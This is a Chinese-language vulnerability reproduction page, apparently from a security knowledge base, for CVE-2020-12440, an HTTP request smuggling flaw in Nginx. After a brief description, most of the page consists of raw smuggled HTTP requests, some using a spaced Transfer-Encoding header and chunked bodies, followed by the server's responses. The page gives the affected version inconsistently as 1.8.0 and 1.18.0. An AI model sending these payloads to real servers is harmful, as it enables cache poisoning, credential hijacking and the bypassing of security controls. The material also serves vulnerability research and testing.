menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 093-Nginx chevron_right 009-(CVE-2020-12440)Nginx _= 1.8.0 请求走私.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    009-(CVE-2020-12440)Nginx _= 1.8.0 请求走私.md
    3.72 KB / 2021-07-17 00:01:30
        # (CVE-2020-12440)Nginx <= 1.8.0 请求走私
    
    ### 一、漏洞简介
    
    Nginx 1.18.0及之前版本中存在安全漏洞。攻击者可利用该漏洞进行缓存投毒,劫持凭证或绕过安全保护。
    
    ### 二、漏洞影响
    
    Nginx <= 1.8.0
    
    ### 三、复现过程
    
    ![](images/2020_05-22/15904605983862.jpg)
    
    #### Request
    
    
    ```bash
    GET /test.html HTTP/1.1
    Host: www.baud.com
    Content-Length: 2
    
    GET /poc.html HTTP/1.1
    Host: www.baidu.com
    Content-Length: 15
    ```
    
    #### Response
    
    
    ```bash
    HTTP/1.1 200 OK
    Server: nginx/1.18.0
    Date: Fri, 01 May 2020 18:28:44 GMT
    Content-Type: text/html
    Content-Length: 33
    Last-Modified: Thu, 30 Apr 2020 14:36:32 GMT
    Connection: keep-alive
    ETag: "5eaae270-21"
    Accept-Ranges: bytes
    
    <html><h1>Test Page!</h1></html>
    HTTP/1.1 200 OK
    Server: nginx/1.18.0
    Date: Fri, 01 May 2020 18:28:44 GMT
    Content-Type: text/html
    Content-Length: 15
    Last-Modified: Thu, 30 Apr 2020 14:35:41 GMT
    Connection: keep-alive
    ETag: "5eaae23d-f"
    Accept-Ranges: bytes
    
    NGINX PoC File
    ```
    
    #### 其他例子
    
    Request(200 OK + 405 Method Not Allowed)
    
    
    ```bash
    GET / HTTP/1.1
    Host: www.baidu.com
    Content-Length: 4
    Transfer-Encoding : chunked
    
    
    46
    TRACE / HTTP/1.1
    Host:www.baidu.com
    Content-Length:15
    
    
    kk
    0s
    ```
    
    Response(200 OK + 405 Method Not Allowed)
    
    
    ```html
    HTTP/1.1 200 OK
    Server: nginx/1.18.0
    Date: Tue, 21 Apr 2020 16:28:12 GMT
    Content-Type: text/html
    Content-Length: 612
    Last-Modified: Tue, 21 Apr 2020 16:08:59 GMT
    Connection: keep-alive
    ETag: "5e9f1a9b-264"
    Accept-Ranges: bytes
    
    
    <!DOCTYPE html>
    <html>
    <head>
    <title>Welcome to nginx!</title>
    <style>
        body {
            width: 35em;
            margin: 0 auto;
            font-family: Tahoma, Verdana, Arial, sans-serif;
        }
    </style>
    </head>
    <body>
    <h1>Welcome to nginx!</h1>
    <p>If you see this page, the nginx web server is successfully installed and
    working. Further configuration is required.</p>
    
    <p>For online documentation and support please refer to
    <a href="http://nginx.org/">nginx.org</a>.<br />
    Commercial support is available at
    <a href="http://nginx.com/">nginx.com</a>.</p>
    
    <p><em>Thank you for using nginx.</em></p>
    </body>
    </html>
    HTTP/1.1 405 Not Allowed
    Server: nginx/1.18.0
    Date: Tue, 21 Apr 2020 16:28:12 GMT
    Content-Type: text/html
    Content-Length: 157
    Connection: close
    
    
    <html>
    <head><title>405 Not Allowed</title></head>
    <body>
    <center><h1>405 Not Allowed</h1></center>
    <hr><center>nginx/1.18.0</center>
    </body>
    </html>
    ```
    
    Request(200 OK + 404 Not Found)
    
    
    ```bash
    GET / HTTP/1.1
    Host: www.baidu.com
    Content-Length: 4
    Transfer-Encoding : chunked
    
    46
    GET /404 HTTP/1.1
    Host:www.baidu.com
    Content-Length:15
    
    kk
    0s
    ```
    
    Response(200 OK + 404 Not Found)
    
    
    ```html
    HTTP/1.1 200 OK
    Server: nginx/1.18.0
    Date: Tue, 21 Apr 2020 16:23:52 GMT
    Content-Type: text/html
    Content-Length: 612
    Last-Modified: Tue, 21 Apr 2020 16:08:59 GMT
    Connection: keep-alive
    ETag: "5e9f1a9b-264"
    Accept-Ranges: bytes
    
    
    <!DOCTYPE html>
    <html>
    <head>
    <title>Welcome to nginx!</title>
    <style>
        body {
            width: 35em;
            margin: 0 auto;
            font-family: Tahoma, Verdana, Arial, sans-serif;
        }
    </style>
    </head>
    <body>
    <h1>Welcome to nginx!</h1>
    <p>If you see this page, the nginx web server is successfully installed and
    working. Further configuration is required.</p>
    
    <p>For online documentation and support please refer to
    <a href="http://nginx.org/">nginx.org</a>.<br />
    Commercial support is available at
    <a href="http://nginx.com/">nginx.com</a>.</p>
    
    <p><em>Thank you for using nginx.</em></p>
    </body>
    </html>
    HTTP/1.1 404 Not Found
    Server: nginx/1.18.0
    Date: Tue, 21 Apr 2020 16:23:52 GMT
    Content-Type: text/html
    Content-Length: 153
    Connection: keep-alive
    
    
    <html>
    <head><title>404 Not Found</title></head>
    <body>
    <center><h1>404 Not Found</h1></center>
    <hr><center>nginx/1.18.0</center>
    </body>
    </html>
    ```
    
    links
    file_download